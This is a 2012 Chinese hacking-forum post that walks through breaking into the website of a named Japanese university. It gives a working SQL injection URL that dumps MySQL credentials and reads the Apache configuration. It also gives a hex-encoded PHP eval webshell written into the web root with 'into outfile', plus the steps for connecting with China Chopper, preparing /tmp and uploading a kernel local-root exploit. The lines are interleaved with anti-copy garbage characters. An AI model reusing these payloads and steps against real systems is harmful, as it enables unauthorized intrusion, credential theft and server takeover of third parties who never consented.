找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2593|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析: H' m+ \. U  [! p0 G

: }9 [2 w- f+ n5 ~http://www.doshisha.ac.jp/chs/news/index.php?i=-1" F/ V) z& P% ]9 N
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
2 Q& P' ~# U$ a0 y( A* O7 u9 {0 q$ R& [
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
& F9 i) @  M9 J5 C7 m- X  j& x+ O0 R/ `4 I* h) F

5 j9 N3 B& J) }3 J0 C8 W1 a) a$ i% B7 l4 S
//@@datadir为数据库文件路径 8 T2 e: b! M- L; X5 H

5 M" t1 S! N! }- @9 a& P+ A( S# G( O! x8 ^
//load_file读取网站容器apache的配置文件
' U7 h  d+ P' q4 s/ g; Q0 S : ^$ e0 l! Z- d4 K5 h2 ?  |0 {

( z4 u. C9 @3 r. m3 B//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
9 y- z( A' q4 C& O- t复制代码, o* V' B- C# Z6 n, K4 }% r

; R) w7 [( m+ P8 V虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。2 b* a+ S9 q6 O6 X$ o

% s. j4 {. Z( f而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
2 J- n# h' k# @9 N" s1 X. [(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
) C) E5 w# I6 Z( E$ K6 W
: o% f8 i" r# F2 _" |- E前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
  G5 n! s3 h  v如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
/ _% s6 R5 I5 L% R! V$ g+ H; ?8 i  |. C; G1 b. W
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/5 W* j) _) t# D& Y
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
0 {) N5 `) n' u% `% R直接写一句话:* _0 X* k+ U# d7 ^. v) d+ A

, n4 K3 o; ]9 \9 P0 l0 M8 Bhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
! f& r$ A; m: A8 M
9 s1 i4 C4 m" Y2 {/ J6 u; q" w' T
* X& E# F" C. L% p  d! N7 p
9 u( `  m/ z3 G3 H' K0 |//最后的#是为了闭合前面的语句
4 b& n9 o1 v, T) |
% u" R6 |. @0 T& t( V. G/ K
' Z& J: ^/ q( `3 C0 J/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
1 j4 @- |* Y+ \: E4 { : G% t- M% P6 e" M$ a
  t/ X9 v, Z  \9 q! T- Q! w6 g
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ ; u6 H6 O# ~  T; e
8 o/ S; X4 ]6 B0 t, c, b1 G/ b8 ]
8 T  M- p9 a# P, W* J
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 2 W; ^7 I# D# B' D1 Q
5 F' h: V2 n2 z
6 Y' b5 w, p3 g4 m& o7 M
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
4 c! [* D0 J% Y, K* I  F//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” : t3 `$ e9 \* Q! {7 ?
复制代码
. \+ Y7 s0 k5 s+ Q" |" z% v5 Z4 M. k- X2 }$ C
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
  B% {. _4 ?3 ]; `8 I4 d, G  t4 x+ v通过上述注入语句,我们就得到了一句话木马:
  Y; M: W& b  T: M  r5 B* l( g' o  \$ R' l. g

2 r$ c) e, N3 B
, ^/ H0 K* P: m6 w& p % _* d. s" I* M' L' q9 l. l

& M4 O1 v- i& @5 u8 X" \http://www.doshisha.ac.jp/english/engnews_img/aa.php
7 v( q( J7 U% M0 ?8 j1 e复制代码
0 Y, ?4 I7 I4 z' B- P
5 L7 }% @, y9 q) e- l2 I  S9 c, Y用菜刀连接,密码是cmd,如图所示:
  N* ^7 a0 U: S6 G3 C然后在命令提示行里看了一下,现在的权限是:
* l. ~, @9 T/ l5 }
0 d( c7 h4 F/ T7 A' f之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。) c; s0 Z& A0 m
好在赋权给这个文件夹不需要root,直接执行赋权语句:
" {3 u2 F4 l+ E# A7 ~: Y# s
0 v, N" S0 Y# i  t8 @  H9 O 3 D6 V; p8 |4 m) O6 V
' j) o. _5 l' Q" X: N, q
. i) P5 m' `6 `/ W+ f) U
7 C& q6 {% {* p! d3 L" E8 J
chmod +x /tmp/
7 B1 H9 v* v7 |' |: r5 ?复制代码
/ r3 S# e# g, G6 t- y" Y9 {0 P' W) Z! X2 n! a8 G7 z4 N
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行; p' ^! U' {9 \
然后就查了一下内核版本:
. j/ @2 y8 z% M- e$ ?
& E  Y0 t* o0 ]: A+ t
' e) x( o: b( f8 C" h+ t% U
1 T. Y1 @: |9 c; `4 x
$ U) Q! t  s* B1 ]* V$ H- n2 P/ `% j, [/ ?6 m# W# r
uname-a 7 c6 g2 r3 N: y3 H6 ^6 p
: e2 K! g$ b& p2 W/ g
3 v5 O4 A6 ?. J1 ~
//其实lsb_release -a
. N8 l5 j3 q/ n$ d. W复制代码
' n+ H" F5 Z- y  U& i, h. h6 y5 T
- x6 E5 ^% g3 R% o如图所示:7 R# R9 E6 h6 n' f" D1 F
( ~" h7 w( U! z/ f
内核版本:linux mainz1 2.6.28-194.e15
3 `+ Y* P# q8 L1 Q系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
: i( E/ d: g) e查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
$ [2 w8 q3 ^* V
8 g3 c& \  p- C4 L# e然后给予执行权限6 G$ X* {( y( M4 c0 N
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
0 y- z/ W, z  L; d) z" h0 H7 k7 m/ E$ W# s
: h2 Z4 [8 {0 D: Z+ d/ U" l  L2 Z3 V" V

' T- G$ M- x' _) i. M + M. V7 [' a* W/ M" `
) i$ O5 }$ k5 ]6 d; O. O
chmod +x /tmp/2.6.18-194
- K" g9 B5 I5 u0 r3 j7 Z2 j复制代码 然后直接执行!~' X) [2 B/ C3 p. M- o5 B
" B  e' t5 @4 u
总结:9 s9 @. ?# y) Z" Q, I" L4 }
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了; x& _5 P! {6 n. G/ @
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root) a. Z$ A6 Y. Q- S9 z% C
& m( m# H! \& a: F, E3 s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表